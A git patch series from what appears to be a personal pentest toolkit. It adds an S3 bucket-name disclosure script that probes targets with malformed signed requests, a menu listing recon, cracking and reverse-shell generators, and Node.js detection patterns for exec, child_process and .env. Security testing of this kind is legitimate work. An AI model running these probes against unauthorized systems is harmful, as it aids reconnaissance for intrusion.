bucket. Uses soap, unicode, post, multipart, +# streaming and index listing as ways of figure it out. You do need a valid aws-key +# (never the secret) to properly get the error messages + +#### FORKED FROM https://gist.github.com/bl4de/35d5831e6eb4a29fe40626efbea7818e +#### Written by Frans Rosén (twitter.com/fransrosen) + + +_debug="$2" #turn on debug +_timeout="20" +#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key +_aws_key=$AWS_KEY + +echo $_aws_key + +H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" +H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" + +_log_file="./bucket-disclose.log" +_sed_bin=$(which gsed) +if [ "${_sed_bin}" == "" ]; then + _sed_bin=$(which sed) +fi + +_timeout_bin=$(which gtimeout) +if [ "${_timeout_bin}" == "" ]; then + _timeout_bin=$(which timeout) +fi + +r=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') #raw but without protocol +d=$(echo "$r" | cut -d "/" -f 1) #domain +pr=$(echo "$1" | ${_sed_bin} -E 's/(^[a-z]+:\/\/)?.*/\1/') #protocol, could be empty, use http if so +if [ "$pr" == "" ]; then pr="http://"; fi +pd="${pr}${d}" #protocol and domain always and only +u=$(echo "$1") #full url +p="${pr}$(echo "${r}" | rev | cut -d "/" -f 2- | rev)" # path without trailing slash (will be weird when bucket is in dir, but will be found later on) + +result() { + echo "$1" >> $_log_file + [ "$1" != "" ] && echo "$1" && exit 0; +} + +debug() { + echo "* $1" >> $_log_file + [ "$_debug" != "" ] && echo "* $1" +} + +is_bucket_already() { + _no_protocol=$(echo "$1" | ${_sed_bin} -E 's/^[a-z]+:\/\///') # function is reused after, make sure we clean up proto + _comp=$(echo "${_no_protocol}" | grep -vE "^[^:]*s3[^:]+amazonaws.*") #check if domain contains s3.*amazonaws.com + if [ "${_comp}" == "" ]; then + result $(echo "${_no_protocol}" | grep -E '^s3.*amazon[^/]+\/.*' | cut -d "/" -f 2) + result $(echo "${_no_protocol}" | grep -E '^[^:]+.s3.*amazon.*' | ${_sed_bin} -E 's/^([^\:]+).s3[^:]+amazon.*$/\1/'); + fi +} + +is_bucket() { + debug "checking if bucket: ${1}..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}" -sL -D- --insecure --max-time 5 | \ + grep -iE "^x-amz-error-code|^server: amazons3|AccessDenied|Code: AccessDenied|NoSuchKey") +} + +is_bucket_soap() { + debug "checking if bucket using soap... ${1}/soap" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/soap" -X POST -sL -D- --insecure --max-time 5 | \ + grep ">Missing SOAPAction header<") +} + +is_bucket_invalid_char() { + debug "checking if bucket using invalid char: ${1}/%83..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/%83" -sL -D- --insecure --max-time 5 | \ + grep -iE "InvalidURI|Code: InvalidURI|NoSuchKey") +} + +is_bucket_invalid_method() { + debug "checking if bucket using invalid method... ${1}/xyz" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/xyz" -X POSTX -sL -D- --insecure --max-time 5 | \ + grep "BadRequest") + if [ "${_response}" != "" ]; then + _response="${1}/xyz" + else + _response="" + fi +} + +is_bucket_listable() { + debug "checking if bucket is listable... ${1}/?abc" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/?abc" --insecure --max-time 5 | \ + grep "[^<]+" | cut -d ">" -f 2 | cut -d "<" -f 1) +} + +is_bucket_domain() { + debug "checking if domain exists as bucket: http://${1}.s3.amazonaws.com..." + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "http://${1}.s3.amazonaws.com" -sL --insecure --max-time 5 | grep -E "ListBucketResult|AccessDenied|PermanentRedirect") +} + +is_bucket_redirectable() { + debug "checking if url redirects to bucket... ${1}/xyzadad" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "$1/xyzadad" -D- | grep -i "^location:" | grep amazonaws | cut -d " " -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +is_redirecting() { + debug "check if URL redirects to other domain... ${1}" + _response=$(curl -Ls -o /dev/null -H "${H_ACCEPT}" -H "${H_AGENT}" -w %{url_effective} "${1}") + _od=$(echo "${1}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + _rd=$(echo "${_response}" | ${_sed_bin} -E 's/^[a-z]+:\/\///' | cut -d "/" -f 1) + if [ "${_od}" == "${_rd}" ]; then + _response="" + fi +} + +bucket_unicode_sign_error() { + debug "checking unicode-error... ${1}/åäö" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" -sL "${1}/åäö" --insecure --max-time 5 | grep "host:" | grep "amazonaws.com" | cut -d ":" -f 2) + _response=$(is_bucket_already "${_response}") #remove s3-domain stuff +} + +bucket_post_sign_error() { + debug "checking post-error... ${1}/okok?456" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?456" -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_get_sign_error() { + debug "checking get-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X GET -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_put_sign_error() { + debug "checking put-error... ${1}/okok?AWSAccessKey..." + _response=$(${_timeout_bin} ${_timeout} curl -X PUT -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/okok?AWSAccessKeyId=${_aws_key}&Expires=$(expr $(date +%s) + 1000)&Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | \ + cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_multipart_sign_error() { + debug "checking multipart-error... ${1}/?789" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" --form "d=x" -X POST "${1}/?789" \ + -H "Authorization: AWS ${_aws_key}:x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -sL | \ + grep "" | cut -d "<" -f 1 | cut -d "/" -f 2) +} + +bucket_streaming_sign_error() { + debug "checking streaming sign-error... ${1}/ioioio?987" + _response=$(${_timeout_bin} ${_timeout} curl -H "${H_ACCEPT}" -H "${H_AGENT}" "${1}/ioio?987" -sL -H \ + "Authorization: AWS4-HMAC-SHA256 Credential=${_aws_key}/20180101/ap-south-1/s3/aws4_request,SignedHeaders=date;host;x-amz-acl;x-amz-content-sha256;x-amz-date,Signature=x" -H \ + "Date: $(date -u +%a,\ %d\ %b\ %Y\ %H:%M:%S\ GMT)" -H \ + "x-amz-content-sha256: STREAMING-AWS4-HMAC-SHA256-PAYLOAD" | grep "" -A 1 | tail -n 1 | cut -d "/" -f 2) +} + +change_bucket_location() { + debug "changing location of bucket... ${1}" + p="$1" + _response="1" +} + +> $_log_file +debug "start checking... ${u}" +is_bucket_already "${r}" +is_bucket "${pd}" +[ "${_response}" == "" ] && is_bucket_soap "${pd}" +_is_root_bucket="${_response}" +_bucket_location="" + +if [ "${_is_root_bucket}" != "" ]; then + _bucket_location="${pd}" +else + is_bucket_soap "${p}" + [ "${_response}" == "" ] && is_bucket "${p}" + [ "${_response}" == "" ] && is_bucket "${p}/xyzabc" && change_bucket_location "${p}/xyzabc" + [ "${_response}" == "" ] && is_bucket_invalid_method "${p}" + [ "${_response}" == "" ] && is_bucket_invalid_char "${p}" + + if [ "${_response}" != "" ]; then + _bucket_location="${p}" + fi +fi + +if [ "${_bucket_location}" != "" ]; then + debug "bucket-location: ${_bucket_location}" + bucket_unicode_sign_error "${_bucket_location}" + result "${_response}" + bucket_streaming_sign_error "${_bucket_location}" + result "${_response}" + bucket_get_sign_error "${_bucket_location}" + result "${_response}" + bucket_post_sign_error "${_bucket_location}" + result "${_response}" + bucket_put_sign_error "${_bucket_location}" + result "${_response}" + bucket_multipart_sign_error "${_bucket_location}" #this one can bug out with fastly, since host is being different when POST + result "${_response}" + is_bucket_listable "${_bucket_location}" + result "${_response}" + is_bucket_redirectable "${_bucket_location}" + result "${_response}" +fi + +#if [ "${_is_root_bucket}" ]; then +is_bucket_domain "${d}" +[ "${_response}" != "" ] && result "${d}" +#fi + +is_redirecting "${pr}${r}" +[ "${_response}" != "" ] && bash $0 "${_response}" "$2" || debug "location is not a bucket: ${pr}${r} (${_bucket_location})" && exit 1 + +exit 0 From dbeaef95a4f8f059c6a3a54403c0a617e89620f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 25 Jun 2022 13:53:34 +0100 Subject: [PATCH 229/369] [s0mbra] added bucket-disclose to AWS toolset --- bucket-disclose.sh | 2 -- s0mbra.sh | 18 +++++++++++++++--- 2 files changed, 15 insertions(+), 5 deletions(-) diff --git a/bucket-disclose.sh b/bucket-disclose.sh index b9c0e09..b0d834d 100755 --- a/bucket-disclose.sh +++ b/bucket-disclose.sh @@ -13,8 +13,6 @@ _timeout="20" #you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key _aws_key=$AWS_KEY -echo $_aws_key - H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3" H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36" diff --git a/s0mbra.sh b/s0mbra.sh index 2b81bd2..ac988c4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -537,6 +537,14 @@ s3ls() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# Lists content of the folder on S3 bucket +discloS3() { + clear + echo -e "$BLUE[s0mbra] Execute bucket-disclose.sh against $1...$CLR" + bucket-disclose $1 DEBUG + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -858,6 +866,9 @@ case "$cmd" in s3ls) s3ls "$2" "$3" ;; + discloS3) + discloS3 "$2" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -876,9 +887,10 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" + echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> runs bucket-disclose.sh against [URL]" + echo -e "$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [BUCKET]" + echo -e "$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [BUCKET] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 755c1df8066f307ac072826b54c80e543c065734 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Jun 2022 18:16:37 +0100 Subject: [PATCH 230/369] [s0mbra] added graudit to SAST tools --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ac988c4..51b085f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -432,6 +432,9 @@ pysast() { echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME + echo -e "\n$BLUE[s0mbra] Running graudit against $DIR_NAME $CLR\n" + graudit $1 + echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -588,6 +591,7 @@ php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 + graudit $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 1b39b05b3a3f89f1489166bb0de514fd52f7c49a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 8 Jul 2022 22:31:51 +0100 Subject: [PATCH 231/369] [s0mbra] hide some options from menu; rename takealook to peek --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 51b085f..59b2baa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -238,7 +238,7 @@ lookaround() { } # quick lookaround, but for single domain - no need to create scope file -takealook() { +peek() { TMPDIR=$(pwd) START_TIME=$(date) DOMAIN=$1 @@ -762,8 +762,8 @@ case "$cmd" in lookaround) lookaround "$2" ;; - takealook) - takealook "$2" + peek) + peek "$2" ;; recon) recon "$2" "$3" "$4" @@ -880,7 +880,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" - echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" @@ -900,11 +900,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 31b4bed64b03d17dd66d067a21e6d05231c404a7 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 9 Jul 2022 10:10:16 +0100 Subject: [PATCH 232/369] [s0mbra] remove unused code --- s0mbra.sh | 9 --------- 1 file changed, 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59b2baa..2c82624 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -1,9 +1,5 @@ #!/bin/bash # shellcheck disable=SC1087,SC2181,SC2162,SC2013 -### S0mbra ### -# BugBounty/CTF/PenTest/Hacking suite -# collection of various wrappers, multi-commands, tips&tricks, shortcuts etc. -# CTX: bl4de@wearehackerone.com HACKING_HOME="/Users/bl4de/hacking" @@ -22,11 +18,6 @@ CYAN='\033[36m' CLR='\033[0m' NEWLINE='\n' -# config commands -set_ip() { - export IP="$1" -} - # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then From 861419c021931dfa38728736607d0e867948adcb Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 10 Jul 2022 10:08:21 +0100 Subject: [PATCH 233/369] nodestructor] Node patterns update --- nodestructor/nodestructor.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index be199fb..e935ad0 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -55,12 +55,18 @@ ".*eval\(", ".*exec\(", ".*execSync\(", + ".*execFile\(", + ".*execFileSync\(", ".*res.write\(", ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", ".*spawn\(", ".*fork\(", + "\.shell", + "\.env", + "\.exitCode", + "\.pid", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", From 328e0483b919c5fe6952daebce2dd9ed60e60de4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 13 Jul 2022 20:40:22 +0100 Subject: [PATCH 234/369] [s0mbra, hasher] hashing improvements --- hasher.py | 23 ++++++++++++++++++++--- s0mbra.sh | 4 ++-- 2 files changed, 22 insertions(+), 5 deletions(-) diff --git a/hasher.py b/hasher.py index b849f30..2446a72 100755 --- a/hasher.py +++ b/hasher.py @@ -3,7 +3,6 @@ import sys import hashlib -import urllib import base64 description = """ @@ -13,11 +12,17 @@ def usage(): + ''' + prints usage info + ''' print(description) exit(0) def hex_encode(s): + ''' + HEX-encode string + ''' enc = '' for c in s: enc = enc + (str(hex(c)).replace('0x', '')) @@ -25,8 +30,20 @@ def hex_encode(s): def main(s): - print("SHA1\t\t{}".format(hashlib.sha1(s.encode('utf-8')).hexdigest())) - print("MD5 \t\t{}".format(hashlib.md5(s.encode('utf-8')).hexdigest())) + ''' + prints all hashes for provided string + ''' + algorithms_available = ['blake2s', 'blake2b', 'sha224', + 'sha256', 'sha512', 'sha384', 'sha1', 'md5'] + print("\nHASH:\n") + for h in algorithms_available: + if hasattr(hashlib, h): + try: + h_method = getattr(hashlib, h) + print(f"{h}\t\t{h_method(s.encode('utf-8')).hexdigest()}") + except TypeError as e: + pass + print("\nENCODE:\n") print("Base64 \t\t{}".format(base64.b64encode(s.encode('utf-8')))) print("HEX encoded \t{}".format(hex_encode(s.encode('utf-8')))) diff --git a/s0mbra.sh b/s0mbra.sh index 2c82624..9f1735b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -837,7 +837,7 @@ case "$cmd" in b64) b64 "$2" ;; - hasher) + hashme) hshr "$2" ;; fu) @@ -915,7 +915,7 @@ case "$cmd" in echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CYAN hashme $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" echo -e "$CLR" ;; From e2293d36a949bbdf5f5f03cf22e381e811c8ca08 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 19 Jul 2022 11:59:49 +0100 Subject: [PATCH 235/369] [nodestructor] small bugfixing --- nodestructor/nodestructor.py | 7 ++-- nodestructor/static_analysis.py | 59 --------------------------------- nodestructor/test.py | 7 ---- nodestructor/testfiles/1.js | 5 +++ 4 files changed, 9 insertions(+), 69 deletions(-) delete mode 100755 nodestructor/static_analysis.py delete mode 100755 nodestructor/test.py create mode 100644 nodestructor/testfiles/1.js diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index e935ad0..1a4d9cd 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -72,7 +72,8 @@ ".*mysql\.createConnection\(", ".*\.query\(", ".*serialize\(", - ".*unserialize\(" + ".*unserialize\(", + ".*__proto__" ] browser_patterns = [ @@ -185,7 +186,7 @@ url_regex = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") urls = [] -patterns = nodejs_patterns + npm_patterns +patterns = nodejs_patterns total_files = 0 patterns_identified = 0 files_with_identified_patterns = 0 @@ -297,7 +298,7 @@ def perform_code_analysis(src, pattern="", verbose=False): print_filename = False patterns_found_in_file += 1 printcodeline(_line, i, __pattern, - ' code pattern identified: ', _code, verbose, _file.name) + ' pattern found ', _code, verbose, _file.name) # URL searching if identify_urls == True: diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py deleted file mode 100755 index ae17601..0000000 --- a/nodestructor/static_analysis.py +++ /dev/null @@ -1,59 +0,0 @@ -#!/usr/bin/python -import re -import sys -import argparse - -from imports.beautyConsole import beautyConsole - -jsfile = open('/Users/bl4de/hacking/bugbounty/Roche_Private/src/admin-client.js', 'r') -file_read = jsfile.readlines() - - -# variables -variables = [] -variable_to_trace = '' - -variable_definition_regex = '(let|const|var)\s+([_$a-zA-Z0-9]+)' - -line_no = 0 - - -def decorate_varname(var_name): - return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") - - -def decorate_source(src_line): - return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") - -parser = argparse.ArgumentParser() -parser.add_argument( - "-v", "--variable", help="Name of variable to trace") - -ARGS = parser.parse_args() - -if ARGS.variable: - variable_to_trace = ARGS.variable.strip() - -print("\n\n[+] STARTING ANALYSIS...\n") -for line in file_read: - line = line.replace('\n', '') - line_no = line_no + 1 - - res = re.search(variable_definition_regex, line) - if res: - variable_name = res.group(2) - if variable_name == variable_to_trace: - print("\n[+] found {} variable definition in line {}:\n {}"\ - .format(decorate_varname(variable_name), line_no, decorate_source(line))) - inner_line_no = 0 - - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print("\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print("\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line))) - -print("\n\n[+] DONE\n") diff --git a/nodestructor/test.py b/nodestructor/test.py deleted file mode 100755 index 036d1cf..0000000 --- a/nodestructor/test.py +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/python -import re - -EXCLUDE = ['babel','xxx','eee'] -subdir = 'node_modules/babel-register/lib' - -print [e in subdir for e in EXCLUDE] \ No newline at end of file diff --git a/nodestructor/testfiles/1.js b/nodestructor/testfiles/1.js new file mode 100644 index 0000000..b701134 --- /dev/null +++ b/nodestructor/testfiles/1.js @@ -0,0 +1,5 @@ +const obj1 = {}; +obj1.__proto__.x = 1; +console.log(obj1.x === 1); // true +const obj2 = {}; +console.log(obj2.x === 1); // true From 929e00ca816a2af40a3f99982fbab63889def314 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Jul 2022 11:48:07 +0100 Subject: [PATCH 236/369] [s0mbra] improvements of options for fu and recon --- s0mbra.sh | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9f1735b..dbf5c67 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,7 @@ recon() { FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" + SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) @@ -286,6 +287,7 @@ recon() { FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + SELECTED_OPTIONS=$2 fi # set proto: @@ -301,7 +303,7 @@ recon() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $2...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME \n\t using selected options: $SELECTED_OPTIONS...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -358,8 +360,12 @@ recon() { fu() { clear - # adjust here to add/remove HTTP response status code(s) to match on: - HTTP_RESP_CODES=200,206,301,302,403,500 + # set response status code(s) to match on: + if [[ -z $4 ]]; then + HTTP_RESP_CODES=200,206,301,302,403,500 + else + HTTP_RESP_CODES=$4 + fi echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES...$CLR" @@ -841,7 +847,7 @@ case "$cmd" in hshr "$2" ;; fu) - fu "$2" "$3" "$4" + fu "$2" "$3" "$4" "$5" ;; get) get "$2" @@ -874,7 +880,7 @@ case "$cmd" in echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST]$CLR\t\t\t\t\t -> enumerates HTTP methods on HOST" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" @@ -916,7 +922,6 @@ case "$cmd" in echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN hashme 